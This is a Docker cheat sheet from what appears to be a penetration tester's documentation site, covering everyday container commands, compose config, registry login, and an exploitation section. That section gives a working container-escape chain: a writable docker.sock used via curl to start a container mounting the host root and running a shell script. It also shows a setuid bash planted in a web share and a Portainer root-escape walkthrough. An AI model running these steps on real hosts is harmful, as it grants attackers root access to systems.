> For the complete documentation index, see [llms.txt](https://docs.h4rithd.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.h4rithd.com/cloud/docker.md).

# Docker

## 00. Basic

```bash
## ------------------| Container Lifecycle
docker run -it ubuntu bash  
docker run -d nginx  
docker start <container_id>  
docker stop <container_id>  
docker restart <container_id>  
docker kill <container_id>  
docker pause <container_id>  
docker unpause <container_id>  

## ------------------| Container Listing / Info
docker ps  
docker ps -a  
docker ps -q  
docker inspect <container_id>  
docker stats  
docker top <container_id>  

## ------------------| Container Exec / Access
docker exec -it <container_id> bash  
docker attach <container_id>  

## ------------------| Logs & Debugging
docker logs <container_id>  
docker logs -f <container_id>  
docker events  

## ------------------| Container Cleanup
docker stop $(docker ps -aq)  
docker rm $(docker ps -aq)  
docker rm -f $(docker ps -aq)  

## ------------------| Images
docker pull <image>  
docker push <image>  
docker images  
docker rmi <image_id>  
docker rmi $(docker images -q)  

## ------------------| Build / Tag
docker build -t myimage .  
docker tag <image_id> myrepo/myimage:tag  

## ------------------| Volumes
docker volume create myvolume  
docker volume ls  
docker volume inspect myvolume  
docker volume rm myvolume  
docker volume rm $(docker volume ls -q)  

## ------------------| Networks
docker network ls  
docker network create mynetwork  
docker network inspect mynetwork  
docker network connect mynetwork <container_id>  
docker network disconnect mynetwork <container_id>  
docker network rm mynetwork  

## ------------------| System Cleanup
docker system prune  
docker system prune -a  
docker system prune -a --volumes  

## ------------------| Docker Compose
docker compose up  
docker compose up -d  
docker compose down  
docker compose build  
docker compose logs  
docker compose ps  

## ------------------| Misc Useful
docker version  
docker info  
docker system df  
docker cp <container_id>:/path /host/path  
docker cp /host/path <container_id>:/path  
```

* Configurations.

```yaml
## ------------------| docker-compose.yaml
version: "3"                    ## optional since v1.27.0
services:                
    website:                    ## Service name
        image: nginx            
        ports:
            - "8080:80"
        restart: always         ## Alwasys start when machine reboot
       
         
## ------------------| Start/Stop
### Start/Run
sudo docker-compose up -d
### Stop/Down
sudo docker-compose stop
sudo docker-compose down
```

* Login

```bash
## ------------------| Normal login
docker login <URL>

## ------------------| If it has certificate file
mkdir -p /etc/docker/certs.d/<url_name>
cp ca.crt /etc/docker/certs.d/<url_name>/ca.crt
docker login <URL> 

cat /etc/docker/daemon.json 
{                                                                                                                                                                     
   "insecure-registries":["docker.registry.htb:443"]                                                                                                                      
}
```

## 02. Exploitation&#x20;

* Is `Docker Sock` is writable ?

```bash
## ------------------| How to check
ls -al /var/run/docker.sock

## ------------------| Web APIs (https://docs.docker.com/engine/api/v1.41/)
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json

## ------------------| Expolit chain 
### Create new container--> map root drive
### We need to know what image we can use; use following command and get RepoTags value.
curl -s --unix-socket /var/run/docker.sock http://localhost/images/json | jq '.[] | .RepoTags[0]' 

### Create json object in file !!! Remove comments!!!
{
    "Image" : "sandbox", ## <---- RepoTags value
    "Cmd" : ["/bin/sh","-c","chroot /mnt sh -c \"bash /tmp/shell.sh\""], ## <---- shell
    "Binds" : [
        "/:/mnt:rw"
    ]
}

### use curl command to create new container
curl -X POST -H "Content-Type: application/json" -d @shell.json --unix-socket /var/run/docker.sock http://localhost/containers/create           

### Get id value; replace; start
curl -X POST --unix-socket /var/run/docker.sock http://localhost/containers/<ID>/start
```

* Host Share Abuse

```bash
root@efaa6f5097ed:~# cp /bin/bash /var/www/html/survey/h4rithd
root@efaa6f5097ed:~# chmod 6777 /var/www/html/survey/h4rithd
root@efaa6f5097ed:~# ls -l /var/www/html/survey/h4rithd
```

* Privilege Escalation via [Portainer](https://www.portainer.io)&#x20;

<figure><img src="/files/HkjH5FJ06XtL67U6GVjR" alt=""><figcaption><p>Create new volume with these settings</p></figcaption></figure>

<figure><img src="/files/RuJVNFB8uNDApSqLRPVj" alt=""><figcaption><p>Select any ID </p></figcaption></figure>

<figure><img src="/files/UIyHm82uMj8ybqgSmX6x" alt=""><figcaption><p>Copy the sha256 ID value</p></figcaption></figure>

<figure><img src="/files/4LI12yWBG6nQnkAJheSA" alt=""><figcaption><p>Paste the value in the image section</p></figcaption></figure>

<figure><img src="/files/J8H8GSuwEbc8X8TO8fRw" alt=""><figcaption><p>Set the console</p></figcaption></figure>

<figure><img src="/files/9rS1IAZwqe5cp8EpXMg1" alt=""><figcaption><p>Set the volume to newly created one</p></figcaption></figure>

<figure><img src="/files/dqdkGavzpPZbkRkHQ1W2" alt=""><figcaption><p>Go inside to the container and click the console button</p></figcaption></figure>

<figure><img src="/files/sHvlrzxMKHTzdMORGHB6" alt=""><figcaption><p>Here you have root directory</p></figcaption></figure>